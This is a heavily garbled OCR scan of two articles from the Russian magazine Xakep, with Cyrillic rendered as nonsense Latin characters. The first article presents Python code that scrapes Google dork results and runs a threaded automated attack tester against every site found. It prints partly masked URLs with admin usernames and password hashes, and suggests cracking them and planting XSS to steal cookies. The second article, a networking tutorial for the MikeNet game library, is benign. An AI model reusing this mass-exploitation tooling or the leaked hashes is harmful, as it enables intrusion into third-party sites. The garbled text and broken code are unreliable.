AaJ1ee no XOAY nporpaMMbl HaM nOJlaraeTCSl OTKpblTb Heo6xop,lI1Mble ¢IaL111bl, I1MeHa KOTOpblX

B KOH1.4e nporpaMMbI Mbl Ham1weM 6eCKOHe'-lHbll1

onpe,o,eneHbl 8 ¢a~J1e wp.py.

1fI=J

global f_success

E_success."'-rite(tex:. +

"\0")

f_6uccess.flush()

1I1011(J1, )l(AYLllI'1I1 3aaepweHIo1>l Bcex nOTOK08:

.Iit 4- =+- +

d,;.f success (texc i :

fi;o; open (

while (count_thead»O);

pass

Tenepb np\.1MeHI1M 3TO B H3wei1 nporpaMMe.

test_site.file_google, 'r'l

Tyr Mbi BIo1Alo1M ¢YHKlIl,oHO flush, nOCTOI'lHHO c6pa­

site_list = fi.readlines() site_list = unlq(site_list)

CblSatow,ylO epaL'inoBbli1 6y¢lep Ha Alt1CK -

f_success = open (

3aSepWeHI151 nporpaMMbl. 3aTeM l1,[\eT rnaBHblL'i

:nOT

MaHeBp cnaeeT HaMbtTble AaHHbie OT BHe3anHoro

I

iH

++

.098

XAKEP 05/125/09


» coding

l\LiIKfl npOrpaMMbl,

KOTOPbli, "'traer so:,:~la i4 ~;S:;OlaaeTOT­

count_thead +=1

Ty,ll,a no O,lJ,HOL7! 3anltlClIl URL <:a,t~e'-~0€.3I-le":"o"" pop:

jj

3anycT11Tb npoBepKy

~3j:jToro

cav,Ta

thread. start_new_thread (ruo_test , (site,)) eC";m1 nO'J'oKoa 60nbwe l~aKCl1ManbHQI'O "H1crm,

site:;. site_list.po;>()

'r(~

OH n03BOJlHeT pa6oTaTbco cnlo1CKOM, KClK COCT€KOM ~ TO €CTb,

nOnOli\.LleM, nOK<l

KaKoi1-HI16y.o.'b

OCI-\060A~TC5I

else:

6epeTCaMylO sep:XHKlIO ~anlt1Cb 11 npl-\ :nOM YAaJ1~eTee 1-13 cnVlCKa.

~

pass

cjJYHKl...\l-1JO

run_test KaK nOTOK. A OHa y>t<e.

B CBOIO o4epeAb. BbJ­

30Ber ¢YHKLJ.lt1lO T€CTl.1pOSaHI151 run 1113 MO.o.yJl5'1 google

def

py:

run~test(sitel:

global

3TOT KOA06ecne'-lIo1BaeT 3anycK ¢YHK~l<1l<1 TecTlo1poBaHIo1~ K(lK

hTt~Qrrn.COr:n.

6b1flO 60flbwe MaKCltlMaflbHOro '-I!'lCJla, 'ITO YKa3aHO B nepeMeH­

• 6ara, 33Kl3aHHa51

s wp.py. HanoMHIO, Bce

test_site.run(site)

ew.rolt5ll82.2~.

~3AIl\I1TAOT«APY3E~»

• Oeplt1l1L-tanbHbl~ caKT

Ka KTbl HaeepH5II<<l 3aMeTIo1J1, 6 npV1Mepe 51 He Io1cnOJlb3YlO npOK­ CaM 3anycK nOTOKOB BblrJl5;Al-1TTaK:

CIo1,

Ca;1T~

linO'K8 ec"tL Heo6pa6o-rdH1-!b1€

eCllYJ KQll!1""·'eCTeo nOTOKOB ~..c:eHbu:;e M8KCI1Mi;l."b­

Horo 'lMcr.:a

B3:iiTb

co cnv.c¥:l;.

OAl'll!

cpe,qCTsa

KOHe4HO, n pV1 >KeflaHIo1V1, MO)l(HO peaflV130SaTb nOAAep)KKYCOK~

AJ151 pa3pa6oThH:

COB.ltl3MeHV1B ¢YHKU,V11O url_get. HO 51 npe,o,n041·nafO nOCTynaTb

bfjp:ffnelbeansQig.

CKpl1nTbl, He Tpc6ylOll\'1e oco6oro nplilcMoTpa, lJ\ Kor,o,a Bce rOTOBO, npoClO 6epyHeT6yK V1 SbIXO)l(YC HYlM B fllOAIo1 -

if (test_sice rna:-Lcount_thcad > cQunt_theadl : #

np5lMOe nOAKfllO'-leHV1e K aTaKyeMbiM caHTaM.

NetBeans, YAo6Horo

nO-ApyrOMy. 06b1'-1HO ~ CTapalOCb nltlC8Tb aBTOMaTV14eCKV1e

\'Jhile ( len (sire_lise) "0): It

n paKH1Ky~

BKa'-ieCTBe npWMepa'

htlQJLmHwOon..cotJlf

cKplilnTbl C nOAPo6HbIMV1 KOMMeHTaplo151MIo1 eClb H(l A!'1CKe.

count thead-=

YI1 3Bl1MOCTelo1:

nOTOK8 Afl~ 8cex C<lHTOB 101 KOHTpOfll.1pyeT, '-lT06bl nOTOK08 He

HOi:! max_count_thead. 06b5lSneHHov.

count_~head

links

• OrpoMHev.wa516a38

nO.o.roToBIo1Tell!::lHbl€ paOOTbl8blnOJlHeHbl lt1 MO;>KH03anYCKaTb

H8npl1­

Mep, B nL.nev.Hoe 38eeAeHlo1e, r,o,e eClb Ba~~<pa~. TaM 51l1cnlo1~ safe nl<1SO 1'-lepe3 TO 3eflO paA CTaHo8~cbl, 33nYCKalO CKpl<1nTbl,

Ca,V,T

cnOKO~HO 3a KpblsalO KpblWK'f HeT6yKCl V1 KflaAY ero non crOll.

site'" site_list.pop()

Hl<lKTO Aa)l(e He npe,o,nOflaraeT. '-leM 51 38Hlo1MafeCb B V1HTepH€­

CKPVlnT nAPCV1H iA iYiJlA

Te. Bav.-<pa~ AaeT snOllHe npl-lfllll'-lHylO CKOpOCTb, a nOCKOJ1bKY

• dvd

lO3aeTOl MHoronOTO'iHOCTb, TO 3aTpaTbi SpeMeHl<l HiJ pa60Ty

Ha Al<1CKe. KpOMe

CKplt1nTOS HeSeJ1Io1KIo1. rOTOBbl~ pe3ynbTaT 51 OU,CHltlBa10 y)Ke

l.1CXOAHltlKOB,I1ll\101

AOMa, npOCMaTpl<1Sa~ coxpaHeHHble CKpV1nTaMI'1 flOrYl. TeM He

nonHou,eHHOeBl<1~eO

MeHee, 6e30naCHOCTb HI'1KOrAa He 6blsaeT fll1WHeiil, n03TOMY

OTaBTopa CAeMOH­ CTpaL\l'Ie~ pa60Tbi

nO,Q,D.ep>KKa COKCOS npl1SeTCTeyeTcll.

CKpl<1nTOB.

11

~TECTI1POBAHI1E

KOH$I~ f' ndpcep~

do:ck '" 'i nur 1 :page_id- "Gallery+powered+by ~ (M

oblog w

,

Hy '-lTO >Ke, HaM OClaflOCb TOflbKO npOT€CTl<1POBiJTb Hanl<lCaHHbIH

KO,Q Ha npaKTYlKe.

page'" 10

$1 nOCJ1€AOBaTeflbHO 3anyCTl<lJ1 ¢aHJlbl google.pyi'l autotester.py.

reg'" 'class"'r»«ahre:"'"({""&l*J

a nOCJ1e 38SepWeHYlSll<1X pa6oTbl- rJ151Hyn s ¢awJl success. txt.

print "IF start"

KOTOpbliil nopa,o,ORall CBOl<1M 05beMOM. BOT nepsble Tplt1 CTP04Kl<l

print "if cork:" -+ dork

Yl3 Hero:

print

-;t

~

all page: " - stripage)

warning

II QTKpblBile'M 4>aViIl Hd 3i:lnHCi:>

http://kota***an.com/w~!:lug:$PSB16Yr5TQFQ2t BC5Ilt1H¢loPMa lllo1\l

fo '"

jrmMxUHizubzzqZJ2A.

hLtp:/!info***e.com!:admin:$P$B58JineUw60Jo£

DL9hD9me5XaumzOtO

http://www . tar*" *up com!: admin: $PSBRHl fDILrq

hpAOLOo38w5Xlke(AH70.

open('google.txt', 'r;:;'

print "# google.txt open"

impoct curl import time

npe,o,CTasnel-ia JlI1Wb

B 03HaKOMVlT€ n bHbIX u,en~x. He HY)l(HO no~

BTOP5lTb rnynOCTl13a aBTopoM!

import re

II npol!tn1cb no page CTpaHI1L\I)M for i in xrange (0, page) : I; ~Opt.1HpO"alil<le

B

ryrne

llRL

I ~

C 33XeWl<1pOBaHHblM napOJleM IhUp-l/www.

nOMO>KeT pa306paTbC5I nOCJleAHV1i;j PasswordsPro

url = ''http://ftfll,,...-i.g::JOgle.com/

search?q-"

vITaK, 3,Elecby Hac l<1MeeT MeCTO flon1H l<1 3axeWV1pOBaHHbl~ napOnbAll51 Aocryna B 3,QMI'1HKY.

Idork-"&sta~t"'"

-+ strli*10)

Insldepro.com/download/paS5WOrdsDr-D.zip!. Ho Aocryn iJAM\.1HKe -

He rnaSHall U€ f lb8STOpa CTaTbV1.

I(

B nepsylO OyepeAb

it I1cnOJ!Hem171 :;arrpoca

51 XOTen nOKa3aTb, K8K c,o,enaTb IiIHcTpyMeHT ,lVl1l6blCTporo l<1

rez '" curl. url~get (urI)

3<p$eKTl<18HOrO XaKa.

It ,a,O(;'i'dCM (;CbliJKI1

BeAb C € fll.1, K npl.1Mepy, Tbl S03bMeWb He Sal injection. a l'Ic~

rez = re. fi:tdall (reg,rez)

nOJ1H€Hl<1e KOAa, TO CMO>KeWb 6blCTpO l<13MeHYlTb ¢YHKLI,lt11O run

~

B wp.py. YTo6bl OHa 3anV1safla leGe weJ1J1 Ha cepBep. ECJlI1 Tbl

:JarDIC!>1BaeM pe"3ynb1'a,

for

f.l

OPdWiJ

ite:n in rez:

fo.write(item-"\n")

Ha~Aewb 8KTV1BHYIOXSS, TO CMO>KeWbJ1erKO

ee BHenpl.1Tb Ha

sce C8I1Tbl. l<1 nOTOM J1l.1Wb>K,D,aTb Ha cHwpepe KyKI1Cbl. B 06ll\eM.

print 'It page "+str(i+-l)+" done"

npoCTop,o,.n~,o,e51TellbHOCTIol yTe6Sl eCTb. Yl3y4ai:!l V'lMeHHo

" ......:teN 2 ceK.

l.13Y'-lalo1. HO Hl.1 S KoeM CJly"ae He lt1CnOflb3YW CBOH 3HaHV1R 80

time.sleep(2)

3<JXp"'''d'2C-: ~aJ1ll

Spl?.£I nlOA~M - Tbl seAb 3Haewb, '-lTO:::: - He AeCTpYKTlt18Hbl~ >KypHalll<1 Bce. 4TO Mbl nl<lweM, CJ1Y>Kl<1TTOflbKO OAHoi1 u,el1lt1- no~

fa. close

M04b a.o,MV1HaM 3all\I1TIo1TbCB0Io1 calo1Tbl OT 3J106Hb/X aBToxaKepOB.

print '1/ all done'

Y.o,aYlt1!;JC

XAKEP 05/125/09

~

099


+++

»

coding

+++

IOPHIii «¥UREMBO. Sl3EB 'YAZEVSOFTIilOHAILCOH I

r++

TEMHOE HCKYCCTBO HrpOAEllA,:

I

+++

i

L.~

i

.........

+++

+++

+++

Pa3pa6aTbiBaeM KnHeHT HcepBepAml MHorononb30BaTenbCKHX 6aTanH~

+++

flKl6arl pa3pa60TKa V1MeeT Ha4ano V1 norV14ecKV1~ KOHelJ,. Hawa npo­

+++

rpaMMa He CTana V1CKnKl4eHV1eM. npO~ArI He60nbwo~ lJ,V1Kn CTaTe~, Mbl CT060~ c03AanV1 04eHbAa>Ke HennoxyKl V1rpyc nOAAep>KKO~ Bcex

+++

cOBpeMeHHbIXTeXHonorV1~, peanV130BaHHblX B DirectX [3arpY3Ka

X-06beKTOB, +++

3D-rpaq>lilKa,

3BYKV1 B Hy>KHbIX MeCTax, 6b1CTPbl~ KOHTponb

V1 AP.J. Ho Anrl nOnHOlJ,eHHOrO re~MV1Hra He XBaTaeTew,e OAHoro KOMno­

HeHTa. f{oHe4Ho >Ke, :no MynbTV1nneep.

+++ mBbl6lilPAEM «CKEJlET» Dark GDK.

4aTe.nbHYIO sel4Lo1u,y nOll Ha3S3HVleM MikeNet.

06HOaJ1l1eT, n03TOMY He I-1C'<f1104eHO, '-HO, Kor.qa Tbl

V1cnblTSS 3TOT npOTOKOJ1 B.rIeMO-npLo1nO>KeHVlSlX,

6y.o,eWb 4lo1TaTb 3TOT M(j,epI-13n, Y)l(e Bbllii,!J,eT HOBaSl

TaK

SI pewlo1.n Vlcna.nb30S3Tb ero S Vlrpe. MlkeNet

aepCL1R 6Vl6J1bi [KypVl6norMai-iKa Ha npe.QMeT

n03S0JlSleT nerKO C03,!J,aS3Tb IU1lo1eHT-cepsepHble

06HcBl1eHIo1i-i]

He nO-AerCKl-l Hanp51YbCSl.

npI-1JlO;KeHVlSl. KaK cepsepbl. TaK VI IUllAeHTbl.

nOcJle CKa'1l-1eaHVlt'. It! pacnaKOBKf1 apx\1sa B HeM

MHe 3TO HaJl,OenO

Pa60TaSl CHIo1M, He Ha,ll,O 6ecnoK0lo1TbCR 0 co-

06HapY.>KVlTCI1 HeCKOllbKO ¢al1J10S

KeTax V1 APyrV1x ceTeBblX 3aMOp0'-lKaX - npOCTO

4T06bl yCTaHoBIo1Tb npOTOKOJ1, Hai-i,q1011o1 3anyCTI-1

rpopMV1pyeM naKeT V1 OTnpaSl1Slet-l. VlHTepeCHolii

<j>aL:1.n MikelnstalL exe [TOJ1bKO o6paTI-1 BHIo1MaHl-1e,

lt1

c paccMarpwsaeMOCi JlV150Ci: '-ITo6bl c ee

nOMOll\bfO peaJH1308aTb MynbTVlnneep, Hy>KHO

+++

BKOHl..\e KOHllOB,

ll-l xopawo, YTO Ha,IJ,OeJlO,

a TO npV1WJlOCb 6b1 nJ.1CaTb Ko.o,a pa3a 8 46oJlbwe,

"18M

'1'+++ }+++

j

J+++

~1H<

!r+++

nplo1 pa3pa6oTKe nporpaMM. K cnoay, MaIiiK­ aaTOp 6L16111010TeK~1 - ,l!,OBOflbHO onepaTlo18HO Bee

HO 8 Ka>K,IJ,oCi 60YKe Me.o.a eCTbJlO)O<3 Aern:l.

SeeM npeKpaCHa 6V16JWlOTeK3

+++

4et-l DsrkGDK. MHe OH He 04eHb nOHpaBV1J1C~ npOAO/lJt<Lo1S nOLo1CKIo1, SI HaTKHYJ1CSI Ha npLo1Me­

ceCi'-laci. \tiS! CTaJllilCKaTb ,lJ,pyrV1e

peWeHlt1Sl.

VI, KaK HIo1 yAlt1BIilTeJlbHO, BblXOA 6b1fl HaCi.o.eH:

803M O>KHOCTblO 51BJl51eTC>i OAHospeMeHHaSl pa60Ta

8 BL-1,lJ,e. no MeHbweiil Mepe. napbl cnel..\l-1aJlbHblX

cpaay no ,D,SyM npOTOKOl1aM:

rcp 101 UDP: ,ll,J1l'13TOro

4TO Tbl CTaSIo1Wb aepCLo1K)AJ111

VI

K<lTaJ10roB.

C++:ll. AOJ1>KHO

nOSlal1TbCSl OKHO DOS-ceaHCJ Cl1e/WfOw,ero BltltJ,a ISHIo1MaHlo1e Ha plo1C. 1l.

npoTOKOJlOS, lilcnOllb3yeMbix 8 pa3pa50TKe MHoro­

npLo1 coej:\101HeH101101 CCepBepOM, KaK Ha KJH1CHTe, TaK

nOJlb30SaTeJ1bCKlilX lt1rp. npOTOKo.naMlA TaKltl\?

1-1

oel4ltl MO>KHO H33BaTb C60llbwolii Han~Jt<Kolii.

nOpTi3. Yepe3 HV1X Vllo1.o,eT nOClleAYKJl1\al1 nepe­

Ha VS 101 cKonVlpyeT .Qsa 4>a~J1a, He06xo,nl-1t-lbIX ,ll,JlSl KOMnLo1flfllj1-1101 nplo1J10.>KeHIo1~, iIlCnaJlb3ylOUJ,Lo1X

Ha cepBepe OlKpblsalOTCR nO,Qaa 110Ka.nbHblX

V1HCTaJlJll'lTOp caM onpe,nenltlT, KYAa yCTaHoBl1e­

npaBl-1llbHee IiIX 3BaTb lilHTep¢leliicaMVI KnpoTOKolly

,Qa4a.rla HHblX. Pa3pa6oT4 VI xy He Ha,D,O rpY3ltlTbC>l

OirectPLay, nOCKOllbKY,ll,IlSl 06MeHS C006w,eHVI~Mlo1

c onpe,ll,eneHVleM OTKpblBaeMblX napTOs, MikeNet

MikeNel O,ll,HaKO B HeKOTopblX ::J1Y'-laSlX OH Mo)t(eT

s Dark GDK IAa

B03bMeT BCIO pa6aTy Ha ce6~ Vl C.QenaeT ee He33­

pa60TaTb HenpaSl-1flbHO. nplo1 nOSlBJleHlAlil rJlIOKOB

iii.

c06CTseHHo. s DirectX)liIcnOJlb­

3yeTCSlltlMeHHO OH. HO,ll,l1Sl npoCToTl:,l6YAeM Ha­

t-leTHO .Q11S1 KOHe4Horo nOJlb30SaTeJl>l,

co6CTseHHcpyYHO CKonlo1pylii ¢laliifl MikeNet.lIb B nOj:\nant,yVC\lib nanKL1, KYAa yCTaHos.neHa cry­

3blsaTb lAX npOTOKOl1aMl-01. TaK KSK OHltlltlCnOJlb3YlOT

CSOV1 npaSlAlla ,[IJlSl nepe,D,a'-lltl,D,aHHbIX c nOMOU\blO

mMIKENET

DirectPlay.

CKa4aTb MikeNet MO)l(HO co CTpaHLo1LJ,bl ¢opYMa

nepSb41ii 1-13 3TLo1X npOTOKo.nOE3 - :lTO Multi5ync

caliiTa KOMnaHlo1101 The Game Creators

ICt<lOTpVl hllt):I/forurn. thi?(]smecreators.coml.

forum thegamecreators.com). nOc..ne.QHSISI

npoeKT. 8 KOTOpOM co6L1paeWbCR I-1cnOJlb30SaTb

HeC/.WTpSl Ha TO, '-ITO np0.rlYKT sno.nHe pa6o­

Bepclo1S1 Ha MOMeHT Hal1lKaHIo1S1 CTaTblo1 - 1.0.6,

cpe.qCTBa MikeNetl V1 OTKpoiil caoilcTBa npoeKTa

Tocnoc06eH Lo16oJ1ee Y.rI06eH B npVlMeHeHI-1V1.

ee-TO, c06CTBeHHo, yurernbo 11 Lo1cnOJlbJOBaJl

IHanplo1Mep, Project 7 DarkRobot Properties)

~

100

,O,Vl\1.1-1 ¢aC1J1 mikenet. h - 8 nO,ll,nanKyVC\include.

1.b11QJL

YTo6bl npltianaL.(vn b yClaHoB"eHHylO 6L16JlLo10­ TeKy K KOMnlo1J1I1TOpy. 3anyCTlo1 CTy,o,Io1IO 13arpY3101

XAKEP 05{125/09


'"IaCTb4:

:::c w

~

L..

.... ..

~-\, 8 cBolilcTBax nOCJ1eAOeaTeflbHO pa3BepHI1 cnl-1c­

K\1:

Configuration Properties 7 Linker. a 3BT€ M

llleJlKHIi1 no rYHKl)' Input.

S npaBolil yaCTl-1 OKHa, B CTPOKY 3aSI1CV1Mocrei.1

(Additional DependenCles!.,o,o6aBb Ha3BaHlt151

,!J,syx 6lt16nltlor€K: MikeNet.lib liI W52_32.lib [p..,c.

21. A.nSl

npaBI'1!lbl-'O~ KOMnl1J1RLJ,I1l-1 np0)J,enaC1

cneAYIOUJ,V1i1 TpIOK: OCTaBaSKb B CBOIilC183X, pa3­

eepHlil Cnl-lCOK

Generation,

ClC++.lll€l1KHl-1 Ha nYHKT€ Code npaeol.1 43CH1, HanpOTl-1B nYHKT3

\1 B

Runtime Library.li13 i-lWnaA3101lIero cm1CKa

Bbl­

6epltl Multi-threaded l!MTllp"lc. 31. 3ro 03H3yaer, 6YA€r

nOHaAo6~TCfI,o,Ilfl eeAeHl-1Sl cepeepOM CTanlCTI1K>1.

n03>K<? Mbl3TO pa36epeM. C03Aai1 B VC++ HOBbl~ npoeKl. -

B Ka4eCTBe

wa6nOHa Bb/6eplt1 Dark

GOK

Game. Bo Bce npOeKTbl, KOTopble II1cnOIlb3ytOT

..c -

~

c

::s::

\

napaMeTpOM Onpe,[le11>1eTC51 cnoc06 pa3AayV1 npl1­ WeAWI1X udp-naKeToB. ~ocrynHo,o,Bacnoea6a'

UDPMODE_PER_CLlENT" UDPMODE_PER_ CUENT_PER_OPERATION. KorAa lt1CnOllb3yeTcSl nepBblYI cnoc06, OT Ka)l(AOrO Kfll1el--lTa 3anOML1HCI­

6101611110T€KY MikeNet. HaAO A06aBll51Tb TaKOLll 3arOllOBO..,HbIH ¢a~Il: <MikeNel. h>. Tenepb

eTCl1 TOllbKO 0AI1H naKeT, npl1WeAWII1.:1 nOC11eAH\.1M,

MO)l(eLUb OTKpblTb C,ll,I1CKa npoeKT cepsepa

6011ee CTapble - YAa111'1IOTCfI.

(aBTOp Ha3Ban ero DarkServer, no aHaJlorl1L1

3anOMl-1H3IOTCl'l naKeTbl co SeeM>1 onepalJ,\IlflMI1

8 cfly..,ae BToporo

C DarkRobotl. I1CC11eA0l3aTb no KOMtAeHTapltl>lM

la HeTOflbKO nOC11eAHl-1eJ, npIl1We,lJ,WV1e OT Ka:t(·

KOA 11 HaYV1H3Tb ero nepenl1CblBaTb. Hy a yurembo

Aoro KllltleHTa. nOCfleAHL1Y1I11CnOllb3yeTCl1, KorAa

TeM apeMel-jeM paCCKa)l(eTTe6e

°Ko,o,e 6011ee

KJlV1eHTMO>KeTOTnp8BltfTb HeCKOflbKO pa3Hblx

nOAP06HO.

naKeTOB [c pa3H~Ml-1 onepal\lt1f1MII1}, Hanp!o1­

nOcl1e nOAKll104eHlIl113ar0l10B04HblX q>av;11oB

Mep, KaK B HaWeYll'lrpe. nOcneAHV1L1l napaMeTp

nOTOYHytO. HO craTVlYHYIO BepClIIlO 6H6J1lt10TeKltl

I1l1yT 06bl1SfleHVlSl KOllCTaHT, Ha3Ha4eHltle KOTOPblX

3aAaeT KOJlI1..,eCTBO nOTOKOS.ltlCnOflb3yeMblx

apeMeHl.1l'1cnOIlHeHVl".

SlCHO no KOMMeHTapIl1SlM, 101 CTpyKTypbl, COCTOflll.\ei1

Ilpl-1 nonY4eHl-11111 nepeAaye A8HHbIX. ,!J,llfl MaKCltl­

"ITO npI1IJO>KeHlt1e

l.1Cn0J1b3083Tb MHOro­

Bee HacrpoC1K\1 np0f13B€,O,eHbl

l CMeno33KpblBaeM

113 ,o,syx 4JleHOB: nepSblL4. XpaHl1li.\l->1Hlt1M>l Kn\ileHTa

ManbHoro 6b1CTpo,qeYlCTBltll1 CII1CTeMb/3TO YVlC110

OlCHO C8olilcm3 \'l ,Q,8lt1raeMCP ,o,aflbwe.

VI 8TOPO~ -

p,OIl:+::HO 3aSlt1ceTb OT KOfllllyeCTBa npou,eccopOB,

rflaBHaSl<pYHKUlo1Sl nporpaMMbl, B HeL4ltl npO>1C­

yCTaHos.neHHblx Ha MaWltlHe, Ha KOTopoi:13anYll.\eH

!:iCEPBEP

XOAIIlT BCe Aei1CTBo_ Onepal..\VlV1, OTHOCSlll.\l1eCfI

cepeep. O,o,HaKo eC111<1 nOCTaBI1Tb 0, TO MikeNet

HaKoHeu,. KOtAnlo1mlTOp HacTpoeH, ltl MO)KHO nepe­

K HaCTpOL4Ke L1 nepepl1C013Ke 3KpaHa, Mbl paccMa­

caM onpeAel1ltlT K011VI.., eCTBO yCTaHoBlleHHblX

XOjJ,vtTb K caMoMy npl,HlTHoMy S )Kltl3Hlo1 KOAepa ­

Tpl-1BaTb He 6y,QeM [no,o,Hlt1MaLll npeAbllJ.yw.lt1e CTa­

wny Vl6YAeT lt1cn011b308aTb AaHHoe "IL1C110. 3TO

nporpaMMl-lpOBClHItlIO, CHa4ilJl3 Mbl pa3pa6::naeM

rbll11 nepaafl ltlHTepeCYIOll.\afl Hac QlyHKlJ,l->1f1 ~ :no

npeKpacHbl~ aapll18HT -

mnSetLocal C yeTblpbMR napaMeTpaMI1. nepBblCi

l1 nepeKOMnltl11>1l\l-11113anYCKaTb Haw cepeep

npltlllO)l(eHVle-cepaep.

8 HaweM c11Y4ae cepaep

KOflll1..,eCTBo <pparOB. ,[lallee cMAyer

MO>KHO 6e3 L13MeHeHI<1l'l

6YAeT3aPIIIM<)TbC~T011bKO nepen.a4ei:i AaHHblX,

napaMeTp -

TO eCTb npltlHVlMaTb,qaHHble OTOAHoro KJlVleHTa

ECflltl era OCTaBltlTb nyCTblM

111 paeebl11aTb ltlX seeM OCTaflbHbIM, HII1KaKl-1X OCO­

..,ae!. TO nporpaMM3 caMa onpe,o,el1l1T ero, :no 6y­

nporpaMMe l1CnOllb3yeTc>I

,[leT ip-aApec MaWL1Hbl, Ha KOTOpOL4 3anyw,eH ccp

Aa11ee no KOAY l-1AeT06bSlBJ1eHl1e HeCKOflbKII1X

Bep. 8TOpblM napaMeTpoM clle,o,yeT HOMep nopTa,

nepeMeHHblX Hawero CTPYKl)'PHOro H1na, 3aTeM

6eHHbiX BbI4V1CJ1eHIIIL4 Al-1TbCSl He 6YAeT -

Ha ero CTopOHe npolo1360­

SCIO pa50Ty Mbl 1303nO)l(I1M

ip-aApec ,ll,1l11 tcp-no,QKflI04eHII1s:l, (0)

[KaK B HaWetA cny­

H8 pa3HbiX KOMnbKlTepaX, ltlse3,n,e ero npOVl3BO­ ,o,VlTe11bHoCTb6y,o,eTHa BblcweMypoBHe!

B Hawe.:1

0

Ha Klll1eHT<l. nepeYVlcJlIo, KaKv,e AaHHbie Hy:+::HO

Ha KOTOpOM 6YAeT O)l(I1AaHltle tcp-nOAKfllOyeHI1Sl.

lJ,L1Kfl,- B HeM 4fll?Hbi Bcex 06bl'lBfleHHf>lX paHee

nepeAaBaTb. Bo~nepBblx, KOOpAII1HaTb/ [K3>K,o,Oro)

3aTeM l1,o,yT ABa napaMeTpa, aHa.norW-lHbIX npll1se­

CTpyKryp 06Hy11SlIOTCfl. Tenepb MbI, HaKOHel.\,

K11ltleHTCKOro po6ora ltl yrofl nOBopora BO-BTOpbIX,

AeHHOMy Sblwe OnVlCaHL1IO, 3a II1CKJliO..,eHL1eM TOro,

nona,o,aeM S rflasHbI.:1 U,Io1KIL

6bl11 11101 npoVl38ep,eH BblCTpe11 ,o,aHHblM KOHKpeT­

4TO SMeCTO tcp lo1cnoflb3yeTCl1 npOTOKOll udp.

He­

HbiM p060TOM ,O,pyn1M\o1 CllOaaMliI, HaM He HanO

CMOTP~

nepeAasaTb KOOPAV1HaT~ Ka)K,ll,OLll paKeTbl.

IlSlIOTCl1 npOrpaMM\ilCTOM, noclle COeAII1HeHltlSl Kfll1­

AOCTaT04HO lllo1wbY3HaTb, COSepWltlll P060T Bbl­

eHTa C cepBepOM MikeNet onpeAe1151eT V1X 11 caM

CTpell V1fll1 HeT. TaK KaK

Bee KOOp,D,lt1HaTbl Io1yrOll

Ha TO, 4TO HOMepa nopToa SlSHO onpeAe­

[cMOTPIl1 OnL1CaHL-1B

M N 8blwel. K cnosy, ¢YHKlJ,ltll'l

B HeM nOCTOSlHHO

flpOBepSlIOTCfI nopTbl AJlSl BblSlBfleHI1'Fl npll1weAwltlX ,o,aHHblx_ KpoMe Toro, S caMOM Haya11e lJ,>1Kfla eCTb 3a,o,ep>KKl-1. OHI1 Hy)l(Hbl, ..,r06b1 nporpaMMa He 3a­ SHeila lt1 CMorlla o6pa6aTblBaTl.> Apyrl1e. OTlll1'1­ Hble aT npOBepm noplOS, npOlJ,eCCbl. <DYHKUltl~

nOBopoTa ,0,1111 ,D,aHHoro po6el:! y Bcex K1114eHTOB

mnSetLocal npltl ycnewHo(;i pa60T€ ' B03Spal.L.\aeT

0A14HaKOBbl, TO lt1 paKeTa BbilleTltIT 113 onpeAelleH­

eiJ,I1HV1lJ,y, lo1Ha4e -

HblX KOOpAl-tHaT [n03VlL\VIVI p060TaJ 11 npl-13eM11lt1TCl1

Ab/n011HfleTGl nocne ee Bbl30Ba ( nocneAYIOll.\L1M

paMeTpOB OHa He lt1tv1eeT - eCflll1 B03spaw,aeMoe

B OAVlHaKOSOLll n0311l1..\11'11lt111V1 nOpa3l-1TOAHy ltl Ty)Ke

BbIBOiJ,OM AliIarHOCT>1l.1eCKltlX H8AnL1Ce(;i.

3Hi3yeHltle 6011bwe Hy11f1, 3HaY>1T, nOAKflIO"IlII11Cl1

u,e)lb InocKo11bKy AaHlible Cl-1HXpOH >13\ilpOSaHbl!l.

\I1Tal<. B cfly<.Jae ycnexa Mbl3anycKaeM cepeep

HOBblYl KflV1eHT, L1 HaAO oT06pa3V1Tb erOAaHHble: id,

B-rpeTbI1X, Ha,o,o nepeAaTb KOflW-leCT138 :>4<113­

KOMaHAOL4 mnStartServerc ..,eTblpbMl'l napaMI?T­

tcp ip,

He~ IA!lfl '1er03TO Hy:>4<HO - pa36epeM n03>Ke,

pat-n·l: MGl KCVlMallbHoe KOfll1'-leCTBO Kflll1l?Hioe.

C006ll.\l-1Tb HOBO My K11VleHTyo6 'f>Ke no,oKJlIO..,eH­

KOTopble MorYT nOAKlllOyltlTbC~, MaKCltlM811bHoe

HbIX, 3TO COBepwaeTCR B lllllKfle. \I1cno11b3yeMa"

ao speMfI pa3pa6oTKliI KIlVleHTaL

\11, B-4eTBepTbIX,

0 l111ltl-1. TaKafl nposepKa

mnCtientJoined npocllywlo1aaeT nopr B lJ,ellSlX 8b1­ >lsneHltls:l SHOBb nO,D,Klll(I'1118WerOCR K11V1eHTa. na­

tcp port,

udp Ip, udp port. nOC11e '1ero I-la,o,o

Heo6xo,o,l1MO nepeAaTb ltlM5l KnVleHTa 11 KOllltl'-le­

KO/lltl4eCTBO udp-onepaUL1L4. KOTopble Kfllt1eHT

3,QeCb ¢YHKlJ,L1Sl mnClientConnected npOBep>leT,

CTBO tPpar08 [Ha6paHHblX y6ltlL1CTB). 3TlI1 AaHHble

MO)l(eTornpaBII1Tb 13 O,QHOM udp-naKeTe. TpeTbl1M

nOAKlllO'-leH >111 VI HeT K11l-1€,HT, id KOTOporo nepe,o,a-

XAKEP

05/125/o~

~

101

\


+++

'+++ II;

11+++

BBOAIi1M IP CEPBEPA

.+++

~ow-.:r~

.1l£l i

EJ\IllIo_R_

_ ....., "'-'*'"

"Lr ,~

~Sb""l~

_._.­

8·CorIiQi.>'"",,,l'<_"'"

" .......11

_,_O>edc

~C_f)a:~"",

""­

--­

­ --_.

8(/<:++

e.OIIC_O>ocb

_It<...,

~

,+++

'3

3~,r~J-

""'-~ fI\ObIe~_~

~

'­ ..........

£ooblo~_5Ot

--_w..­

,

,.­.. ~ ~

~

..

~

'C#"P lllm _ _ ...

~ ~

~~

flool"o_Modd

_l.f1>:P'«\OO)

fMbIo~Pol'<~x,_

~

KflfieHTa, OT KOTOpore O>KVlAaeTCR naKeT, 2 ~ HOMep onepaultlfi. Tat:>Ke cjJyHK­ lJ,VlSl B03spaw.aeT 1 B CIlY4aeYAa4V11noJlY4eHVlSl nat:eral.

HaJJ,O pacnorpOWVlTb 101 ompaBIo1Tb nOl1Y4eHHbie .o,aHHble sceM K/lltleHTaM

nOp51AKe. B KOTOpOM cjJopMV1posaJll'1lcMoTpltl KDA Klllo1eHTa VI cepElepal. 3TO .o.enaeTCR C nOMOWblO cjJYHK~V1V1 mnGet~ Ir.oe

~~

... .

-,.

""~ ..­

'+++

~_.

[.!

I~I

---

t -

